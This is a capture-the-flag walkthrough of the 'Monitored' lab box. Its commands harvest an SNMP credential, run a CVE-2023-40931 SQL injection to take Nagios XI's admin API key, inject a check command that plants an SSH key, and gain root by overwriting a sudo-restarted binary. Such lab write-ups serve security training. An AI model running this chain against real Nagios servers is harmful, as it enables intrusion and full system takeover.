Monitored
SNMP's default community string exposes a plaintext service-account password from a running process's argument list, which authenticates to Nagios XI where CVE-2023-40931 SQL injection extracts the admin API key, enabling malicious check-command injection that writes an SSH key and lands a shell as the nagios user.
Overview
Monitored is a medium-difficulty Linux box running Nagios XI. The attack begins with SNMP — left on its default public community string — leaking a service-account password from the process argument table. That credential authenticates to Nagios XI’s API, where CVE-2023-40931 (SQL injection in the banner-acknowledgement endpoint) exfiltrates the admin API key. With admin access, a malicious monitoring check command is injected via the configuration API, forced to execute, and writes our SSH public key — landing a shell as nagios. Privilege escalation exploits a writable npcd binary that root restarts via passwordless sudo.
Machine Matrix
High enumeration and real-life scores reflect the multi-layer recon (SNMP, vhost discovery, API probing) and the fact that every technique — default SNMP credentials, production CVE SQLi, and writable service binaries — appears routinely in real enterprise environments.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | SSH (OpenSSH) | Standard; password auth disabled |
| 80 | HTTP (Apache) | Redirects to HTTPS |
| 389 | LDAP | Open but not directly exploited |
| 443 | HTTPS (Apache) | Hosts nagios.monitored.htb — Nagios XI web UI |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80,389,443 -sC -sV -Pn 10.10.10.X
The HTTPS vhost resolves to nagios.monitored.htb (add to /etc/hosts). UDP scanning also reveals port 161 running SNMP with the default public community string — the entry point for everything that follows.
Enumeration
SNMP’s process-argument OID (hrSWRunParameters) exposes the full command line of every running process. A health-check script passes credentials as positional arguments, making them visible externally:
1
snmpwalk -v2c -c public 10.10.10.X 1.3.6.1.2.1.25.4.2.1.5 | grep -v '""'
This reveals svc:XjH7VCehowpR1xZB in the check_host.sh argument list — a cleartext credential storage problem compounded by sensitive information in process arguments.
Authenticate to the Nagios XI API with the svc credentials to obtain a session token:
1
2
3
4
TOKEN=$(curl -sk -X POST 'https://10.10.10.X/nagiosxi/api/v1/authenticate' \
-H 'Host: nagios.monitored.htb' \
--data 'username=svc&password=XjH7VCehowpR1xZB&login_attempts=0' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['auth_token'])")
Exchange the token for a web session cookie:
1
2
3
4
curl -sk -c /tmp/nag_sess.txt \
"https://10.10.10.X/nagiosxi/login.php?token=$TOKEN" \
-H 'Host: nagios.monitored.htb' -L -o /dev/null
SESSION=$(grep nagiosxi /tmp/nag_sess.txt | awk '{print $7}')
With a valid svc session, exploit CVE-2023-40931 — an unsanitised id parameter in the banner-acknowledgement endpoint that reflects MySQL EXTRACTVALUE() errors, enabling error-based SQL injection to read the xi_users table. Extract the nagiosadmin API key in 30-character chunks:
1
2
3
4
5
6
7
8
9
for OFFSET in 1 31 61; do
curl -sk -X POST \
'https://10.10.10.X/nagiosxi/admin/banner_message-ajaxhelper.php' \
-H 'Host: nagios.monitored.htb' \
-b "nagiosxi=$SESSION" \
--data-urlencode 'action=acknowledge_banner_message' \
--data-urlencode "id=3 AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT api_key FROM xi_users WHERE username=0x6e6167696f7361646d696e),$OFFSET,30),0x7e))-- -" \
| grep -oP "(?<=~)[^'~<]+"
done
The three chunks assemble into the full admin API key.
Foothold
With the admin API key, create a new admin-level user to obtain a stable session with an NSP token (needed to schedule checks):
1
2
3
4
5
6
ADMIN_KEY="IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL"
curl -sk -X POST \
"https://10.10.10.X/nagiosxi/api/v1/system/user?apikey=$ADMIN_KEY" \
-H 'Host: nagios.monitored.htb' \
--data 'username=hacker&password=Hacker123!&name=hacker&email=hacker@localhost&auth_level=admin&force_pw_change=0'
Generate an SSH key pair on the attacker machine:
1
2
ssh-keygen -t rsa -b 2048 -f /tmp/nagios_rsa -N "" -C "" -q
PUB=$(cat /tmp/nagios_rsa.pub)
Register a malicious check command via the configuration API that writes the public key into the nagios user’s authorized_keys:
1
2
3
4
5
curl -sk -X POST \
"https://10.10.10.X/nagiosxi/api/v1/config/command?apikey=$ADMIN_KEY" \
-H 'Host: nagios.monitored.htb' \
--data-urlencode "command_name=evil_cmd" \
--data-urlencode "command_line=bash -c 'mkdir -p /home/nagios/.ssh && echo $PUB >> /home/nagios/.ssh/authorized_keys && chmod 700 /home/nagios/.ssh && chmod 600 /home/nagios/.ssh/authorized_keys'"
Create a fake service that uses evil_cmd:
1
2
3
4
5
curl -sk -X POST \
"https://10.10.10.X/nagiosxi/api/v1/config/service?apikey=$ADMIN_KEY" \
-H 'Host: nagios.monitored.htb' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'host_name=localhost&service_description=evil_service&check_command=evil_cmd&max_check_attempts=1&check_interval=1&retry_interval=1&check_period=24x7¬ification_interval=60¬ification_period=24x7&contacts=nagiosadmin&active_checks_enabled=1'
Apply the configuration to make the service live:
1
2
curl -sk "https://10.10.10.X/nagiosxi/api/v1/system/applyconfig?apikey=$ADMIN_KEY" \
-H 'Host: nagios.monitored.htb'
Obtain an NSP token from the new admin session (required to schedule checks via the backend):
1
2
3
4
5
6
7
8
9
10
TOKEN=$(curl -sk -X POST 'https://10.10.10.X/nagiosxi/api/v1/authenticate' \
-H 'Host: nagios.monitored.htb' \
--data 'username=hacker&password=Hacker123!&login_attempts=0' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['auth_token'])")
curl -sk -c /tmp/hck2.txt "https://10.10.10.X/nagiosxi/login.php?token=$TOKEN" \
-H 'Host: nagios.monitored.htb' -L -o /dev/null
SESS=$(grep nagiosxi /tmp/hck2.txt | awk '{print $7}')
NSP=$(curl -sk "https://10.10.10.X/nagiosxi/includes/components/ccm/?cmd=modify&type=host&id=1" \
-H 'Host: nagios.monitored.htb' -b "nagiosxi=$SESS" \
| grep -oP 'nsp_str = "[^"]+' | cut -d'"' -f2)
Force an immediate service check, triggering evil_cmd as the nagios OS user:
1
2
3
4
curl -sk -X POST 'https://10.10.10.X/nagiosxi/backend/index.php' \
-H 'Host: nagios.monitored.htb' \
-b "nagiosxi=$SESS" \
--data "cmd=submitcommand&command=SCHEDULE_FORCED_SVC_CHECK&host=localhost&service=evil_service&scheduled_time=$(date +%s)&nsp=$NSP"
Wait approximately 30 seconds, then SSH in using the private key:
1
ssh -i /tmp/nagios_rsa -o StrictHostKeyChecking=no [email protected]
User flag
1
cat /home/nagios/user.txt # HTB{...}
We land directly as nagios and the user flag is ours.
Privilege Escalation
Once on the box as nagios, check for writable binaries that run under elevated privileges:
1
ls -la /usr/local/nagios/bin/npcd /usr/local/nagios/bin/nagios
The npcd binary is owned by nagios with full owner write permissions — a world-writable or user-writable trusted executable. Crucially, sudo -l shows manage_services.sh can restart it without a password, meaning root will execute whatever binary sits at that path — a privilege management failure.
Stop npcd first to release the file handle (prevents “Text file busy”):
1
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
Overwrite npcd with a shell script that appends our public key to root’s authorized_keys:
1
2
3
4
PUB="ssh-rsa AAAA..."
printf "#!/bin/bash\nmkdir -p /root/.ssh\necho '$PUB' >> /root/.ssh/authorized_keys\nchmod 700 /root/.ssh\nchmod 600 /root/.ssh/authorized_keys\n" \
> /usr/local/nagios/bin/npcd
chmod +x /usr/local/nagios/bin/npcd
Restart npcd via sudo — root executes our script:
1
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
SSH as root from the attacker machine:
1
ssh -i /tmp/nagios_rsa [email protected]
Root flag
1
cat /root/root.txt # HTB{...}
Full root compromise confirmed — both flags captured.